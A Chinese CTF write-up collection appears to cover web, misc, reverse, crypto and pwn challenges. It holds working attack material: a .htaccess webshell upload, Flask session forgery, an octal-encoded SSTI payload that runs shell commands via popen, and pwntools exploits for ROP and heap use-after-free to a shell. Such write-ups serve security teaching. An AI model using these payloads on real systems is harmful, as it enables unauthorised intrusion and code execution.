WEB
SQLUP
打开题目给了一个登录页面结合名字猜测为SQL注入
查看源码发现有hint提示开发者使用的是模式匹配
所以我尝试使用%来模糊匹配,登陆成功
username=admin&password=%
进入面板之后发现有一个文件上传功能
尝试上传php文件,结果被waf,文件名字不能出现p
我想到了使用.htaccess文件来解析gif文件来getshell
先上传.htaccess文件, 将1.gif当作php解析
<FilesMatch "1.gif">
SetHandler application/x-httpd-php
</FilesMatch>
接着上传1.gif文件
之后访问uploads/1.gif即可getshell,但是还需要提权读取flag
寻找提权命令
find / -perm -u=s -type f 2>/dev/null
发现tac命令可以使用
CandyShop
源码如下
import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import reapp = Flask(__name__)app.config['SECRET_KEY'] = 'xxxxxxx'class RegistrationForm(FlaskForm):username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])submit = SubmitField('Register')class LoginForm(FlaskForm):username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])submit = SubmitField('Login')class Candy:def __init__(self, name, image):self.name = nameself.image = imageclass User:def __init__(self, username, password):self.username = usernameself.password = passworddef verify_password(self, username, password):return (self.username==username) & (self.password==password)
class Admin:def __init__(self):self.username = ""self.identity = ""def sanitize_inventory_sold(value):return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)candies = [Candy(name="Lollipop", image="images/candy1.jpg"),Candy(name="Chocolate Bar", image="images/candy2.jpg"),Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():form = RegistrationForm()if form.validate_on_submit():user = User(username=form.username.data, password=form.password.data)users.append(user)return redirect(url_for('login'))return render_template('register.html', form=form)@app.route('/login', methods=['GET', 'POST'])
def login():form = LoginForm()if form.validate_on_submit():for u in users:if u.verify_password(form.username.data, form.password.data):session['username'] = form.username.datasession['identity'] = "guest"return redirect(url_for('home'))return render_template('login.html', form=form)inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():global inventory, soldmessage = Noneusername = session.get('username')identity = session.get('identity')if not username:return redirect(url_for('register'))if sold >= 10 and sold < 500:sold = 0inventory = 500message = "But you have bought too many candies!"return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)if request.method == 'POST':action = request.form.get('action')if action == "buy_candy":if inventory > 0:inventory -= 3sold += 3if inventory == 0:message = "All candies are sold out!"if sold >= 500:with open('secret.txt', 'r') as file:message = file.read()return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)@app.route('/admin', methods=['GET', 'POST'])
def admin():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))admin = Admin()merge(session,admin)admin_user.append(admin)return render_template('admin.html', view='index')@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))return render_template('admin.html', view='candies', candies=candies)@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))candy_name = request.form.get('name')candy_image = request.form.get('image')if candy_name and candy_image:new_candy = Candy(name=candy_name, image=candy_image)candies.append(new_candy)return render_template('admin.html', view='add_candy')@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))inventory_value = sanitize_inventory_sold(inventory)sold_value = sanitize_inventory_sold(sold)return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():global inventoryusername = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))if request.form.get('add'):num = request.form.get('add')inventory += int(num)return render_template('admin.html', view='add_inventory')@app.route('/')
def index():return render_template('index.html')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0', port=1337)
爆破session key得到 a123456
flask-unsign -u -c "eyJjc3JmX3Rva2VuIjoiYmI5N2MxMGJhYTlhZTUzZDhiMTQ5NWVkNTVkZjcxNjQ0OTc0NjY4ZiIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IjEyMyJ9.Zt0WUA.FitsqnryV6luxUpGkUgwqDK8UDA"
session解密
┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python2 flask_session_cookie_manager2.py decode -c .eJwNy8EKgCAMANB_2blDqW3Sz4S2LSQ0SDtE9O95ffBe2OqlazsPKbAAT6weoyhNihZn44PGjZwjGxGRrHBwZEYYILGUltrT135LbZ3uKlcJWToFzqnA9wOF2h3A.Zt025A.Z9OU_8Xax0lafOyjFTrx1WJ90qc{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"guest","username":"admin"}
伪造加密session
┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python3 flask_session_cookie_manager3.py encode -s a123456 -t '{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"admin","username":"admin"}'eyJpZGVudGl0eSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.Zt0hvg.ej8rVrvsHOttUQIIMgmE2w0kSto
伪造污染inventory
python3 flask_session_cookie_manager3.py encode -s a123456 -t "{'identity':'admin','username':'123','__init__':{'__globals__':{'inventory':'{{7*7}}'}}}"
观察源码发现存在原型链污染
@app.route('/admin', methods=['GET', 'POST'])def admin():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))admin = Admin()merge(session,admin)admin_user.append(admin)return render_template('admin.html', view='index')
并发现存在ssti漏洞
@app.route('/admin/view_inventory', methods=['GET', 'POST'])def view_inventory():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))inventory_value = sanitize_inventory_sold(inventory)sold_value = sanitize_inventory_sold(sold)return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)
结合原型链污染,我们可以污染全局变量inventory来造成ssti
{"__init__":{"__globals__":{"inventory":"{{7*7}}"}}
但是源码过滤了字母和下划线
def sanitize_inventory_sold(value):return re.sub(r'[a-zA-Z_]', '', str(value))
尽管禁用了字母但还可以用八进制绕过!
使用脚本伪造payload
input = "cat /tmp/9fb871d06639d7665f8c2005f87200fe/e586231aabe38cf5befd176a1ff25fec/6a5d614cfdcd840afead8e3497595126/flag"print("\\'", end="")for letter in input:#print(hex(ord(letter)).replace("0x", r"\x"), end="")#print(hex(ord(letter)).replace("0x", r"\u00"), end="")print(oct(ord(letter)).replace("0o", "\\\\"), end="")print("\\'")#python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"#{{''['\\137\\137\\143\\154\\141\\163\\163\\137\\137']}}# __class__;\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'# __mro__:\'\\137\\137\\155\\162\\157\\137\\137\'# __base__: \'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'#__subclasses__:\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\' [132]#__init__:\'\\137\\137\\151\\156\\151\\164\\137\\137\'#__globals__:\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'#popen: \'\\160\\157\\160\\145\\156\'# cat /f*;\'\\143\\141\\164\\40\\57\\146\\52\'
PS C:\Users\86150\Desktop\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}".eJx9UttugzAM_RdeWKU9kMR2qv5KOyEoMKG1VGrZpAnx78vFbgOd-oDl2MfnHIdM2fF27crx8tUO2S5rVNNtqW47qzoyhHpbdfXRAlhTE5E1bVOB1UX2nvVNO4z9-OumqubcD670fWuvQ3Vuk1JZ9kM_lmW2m1z-ebrU1ekWj_3w4xguV88wTXm-zw8HZawEMC4g-Ey5QEYCQ_KP1QCiR2if2QVMrZGRy8NBv1ICfNJ82-yV0U_Sfg5JMoIXNsGKWrAZHSip_bMhFYINWTCF5Kzk4h1EFBwgIuF-IVyyHgPEitZVyVUpVB3Yw4j4MwIHRkkDmcMWLO2vO4wWq24YS5osjezPJx5vRVZH2ejnEbRgTSIauJLfh3d6iAziOZDQY3ERwtRPoMTFBAoXMR-kyqHFR-AVQLZUS2qVgO6LeLQVm8g5spSOsvGWaPEwweab-CL0SsC_y3nO5nn-A-EVDjQ.Zt1CFQ.mbfc47fCCO-papkcsSiUKBJXNaI
MISC
BrickGame
修改一下js,跳过匹配的验证即可得到flag
漏洞探踪,流量解密
第一阶段发现上传了图片马,并通过访问gateway传参执行了命令
然后在日志中可以看到上传gateway.php的主机ip地址为192.168.30.234
因此压缩包密码为192.168.30.234
打开压缩包,还是一个流量文件,用wireshark打开,导出http流,查看其中gateway.php文件中执行的命令和回显。
在某一个文件中找到了提示,加密方式是RC4
在剩余文件中找到了key和raw,即秘钥和密文
把raw前面的key删了用rc4解密就得到flag了
分析第二个流量包,发现使用命令从192.168.1.5 下载了raw和key
得到了加密的flag和key后,在后续流量包提示加密为RC4:
解密得到flag
from Crypto.Cipher import ARC4
raw = bytes.fromhex("5a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616d")
key = bytes.fromhex("bdb8e21eace81d5fd21ca445ccb35071")
cipher = ARC4.new(key)
plaintext = cipher.decrypt(raw)
最安全的加密方式
flag: flag{The_m0st_2ecUre_eNcrYption!!!}
流量包一开始有很多数据库的流量,未知
直接筛选http协议,发现有三个post请求,一个上传了php文件,一个上传了图片,一个上传了压缩包
使用php脚本中的pass可以打开压缩包,发现文本文件flag.txt
貌似是单个字符的md5,直接爆破:
import hashlib
from string import printable as allcharset = all
data = open("flag.txt", "r").readlines()md5s = dict()
for i in charset:md5s[hashlib.md5(i.encode()).hexdigest()] = iprint("".join([md5s[i.strip()] for i in data]))
Reverse
easyre
根据反编译代码结合动调后发现只是简单的异或,但只能得到部分flag,后来发现在比较的数据下面有更全的加密后数据,提取出来解密可得
data = '0d774a04070301575303555405574F4B5100564C4E540102191B00570549140A04030D5F05051D1C060D0A54'
last = 50
for i in range(43, -1, -1):
char = int(data[i * 2:i * 2 + 2], 16) ^ last
print(chr(char), end='')
last = char
# flag{fcf94739-da66-467c-a77f-b50d12a67437}
tmaze
动态调试发现迷宫存在内存中,利用地址跳转来走迷宫。经分析后发现和之前数字中国创新大赛半决赛的 HardTree 大同小异,直接把之前的脚本改改就能用了。
首先开启动调后将迷宫所在的内存使用脚本dump出来
auto i,fp;
fp = fopen("E:\\a\\ctf\\ccb\\re\\tmaze_16A051A0000_16A051B3000.dmp","wb");
for (i = 0x16A051A0000; i <= 0x16A051B3000; i++)
fputc(Byte(i),fp);
然后走迷宫
ase_addr = 0x16A051A0000
start_addr = 0x16A051B1480 - base_addr
end_addr = 0x16A051B1840 - base_addr
dump_file = open('tmaze_16A051A0000_16A051B3000.dmp', 'rb')
file = dump_file.read()
def bytes_to_addr(byte_str):
num = 0
for ch in byte_str[::-1]:
num *= 256
num += ch
return num
have_node = []
node_path = []
def read_node(node):
if node not in have_node:
if node == end_addr:
print(''.join(node_path))
exit()
have_node.append(node)
# print(node)
x_node = bytes_to_addr(file[node:node + 8]) - base_addr
y_node = bytes_to_addr(file[node + 8:node + 16]) - base_addr
z_node = bytes_to_addr(file[node + 16:node + 24]) - base_addr
if x_node > 0 and file[node+24] == 0:
node_path.append('x')
read_node(x_node)
node_path.pop()
if y_node > 0 and file[node+25] == 0:
node_path.append('y')
read_node(y_node)
node_path.pop()
if z_node > 0 and file[node+26] == 0:
node_path.append('z')
read_node(z_node)
node_path.pop()
have_node.pop()
read_node(start_addr)
# yzyzyzyzyyzxzyyyzxzyzxxxzxzyyyyyyyyzxzxzyy
得到flag{4bb5dac3-c578-66a2-d97a-664be7965820}
CRYPTO
RandomRSA
普遍意义上来说,nextprime不会超出枚举范围,两层组合,复杂度上来看也依然可以尝试,
n的结构很简单的二元式子,flag也证明了只需爆破,一些格的做法这里似乎找不到合适的放缩,维度也较低,故而放弃
from Crypto.Util.number import *
from sympy.ntheory.residue_ntheory import nthroot_modp = 170302223332374952785269454020752010235000449292324018706323228421794605831609342383813680059406887437726391567716617403068082252456126724116360291722050578106527815908837796377811535800753042840119867579793401648981916062128752925574017615120362457848369672169913701701169754804744410516724429370808383640129
a = 95647398016998994323232737206171888899957187357027939982909965407086383339418183844601496450055752805846840966207033179756334909869395071918100649183599056695688702272113280126999439574017728476367307673524762493771576155949866442317616306832252931038932232342396406623324967479959770751756551238647385191314
b = 122891504335833588148026640678812283515533067572514249355105863367413556242876686249628488512479399795117688641973272470884323873621143234628351006002398994272892177228185516130875243250912554684234982558913267007466946601210297176541861279902930860851219732696973412096603548467720104727887907369470758901838
n = 5593134172275186875590245131682192688778392004699750710462210806902340747682378400226605648011816039948262008066066650657006955703136928662067931212033472838067050429624395919771757949640517085036958623280188133965150285410609475158882527926240531113060812228408346482328419754802280082212250908375099979058307437751229421708615341486221424596128137575042934928922615832987202762651904056934292682021963290271144473446994958975487980146329697970484311863524622696562094720833240915154181032649358743041246023013296745195478603299127094103448698060367648192905729866897074234681844252549934531893172709301411995941527
c = 2185680728108057860427602387168654320024588536620246138642042133525937248576850574716324994222027251548743663286125769988360677327713281974075574656905916643746842819251899233266706138267250441832133068661277187507427787343897863339824140927640373352305007520681800240743854093190786046280731148485148774188448658663250731076739737801267702682463265663725900621375689684459894544169879873344003810307496162858318574830487480360419897453892053456993436452783099460908947258094434884954726862549670168954554640433833484822078996925040310316609425805351183165668893199137911145057639657709936762866208635582348932189646
e = 65537for k1 in range(1000):for k2 in range(1000):A = aB = b + k2 + k1 * aC = k1 * (b + k2) - n# Ax^2 + Bx + C - n = 0# 求根公式delta = nthroot_mod(B**2 - 4 * A * C,2,p)p1 = (-B + delta) * inverse(2 * A, p) % p + k1p2 = (-B - delta) * inverse(2 * A, p) % p + k1if n % p1 == 0:p = p1q = n // pd = inverse(e, (p - 1) * (q - 1))print(long_to_bytes(pow(c, d, n)))elif n % p2 == 0:p = p2q = n // pd = inverse(e, (p - 1) * (q - 1))print(long_to_bytes(pow(c, d, n)))
大约3h
b'flag{j1st_e_s1mp1e_b3ute}'
PWN
FlowerShop
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process('./pwn')
elf=ELF('./pwn')
bin_sh=0x601840
pay=b'\x00'*52+b'pwn\x00'+b'\xff\xff\xff\xff'
p.send(pay)
p.sendline(b'a')
p.sendline(b'c')
p.sendline(str(1))
p.sendline(b'a')
p.sendline(str(1))
p.sendline(b'a')
p.sendline(str(1))
p.sendline(b'b')
rdi=0x0000000000400f13
payload=b'a'*0x18+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(0x400730)p.send(payload)
p.sendline(str(1))p.interactive()
Kylin_Heap
漏洞点位于free这个地方,由于没有清空指针造成的uaf,通过这个即可泄露地址和进行任意地址写,由于libc版本为2.31,所以劫持free_hook
from pwn import *
import json
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *def debug(c = 0):if(c):gdb.attach(p, c)else:gdb.attach(p)pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------context(os='linux', arch='amd64', log_level='debug')
p=remote("IP",PORT)
elf = ELF('./Heap')
libc = ELF('./libc-2.31-0kylin9.2k0.2.so')def add(size,content):sla(b'What will you do, adventurer? ',b'1')sla(b'Enter the size of the block you wish to summon (1 to 1280 bytes): ',str(size))sla(b'bytes):\n',content)def free(idx):sla(b'What will you do, adventurer? ',b'2')sla(b'index (0-19): ',str(idx))def edit(idx,content):sla(b'What will you do, adventurer? ',b'3')sla(b'index (0-19): ',str(idx))sla(b'bytes):\n',content)def show(idx):sla(b'What will you do, adventurer? ',b'4') sla(b'index (0-19): ',str(idx))add(0x460,b'a'*0x10)
add(0x20,b'a'*8)
free(0)
show(0)
p.recvline()
libc_base=u64(p.recv(6).ljust(8,b'\x00'))free_hook=libc_base+0x2f48
malloc_hook=libc_base-0x70for i in range(9):add(0x68,b'a'*1)
for i in range(9):free(i+1)
system=libc_base-0x1967d0
edit(9,p64(free_hook-0x10))
for i in range(7):add(0x68,b'a'*8)
add(0x68,b'/bin/sh\x00'*1)
add(0x68,b'/bin/sh\x00'*1)
edit(19,p64(system))
print(hex(libc_base))
free(18)
p.interactive()
转自参考原文连接地址:
https://xz.aliyun.com/t/15560?time__1311=Gqjxn7iti%3DiQDQD%2Fm%3D0%3DDOKN0QynZOOA3frD#toc-1https://blog.csdn.net/weixin_74427106/article/details/142039971https://lrhtony.cn/2024/09/09/2024ccb/http://www.andynoel.xyz/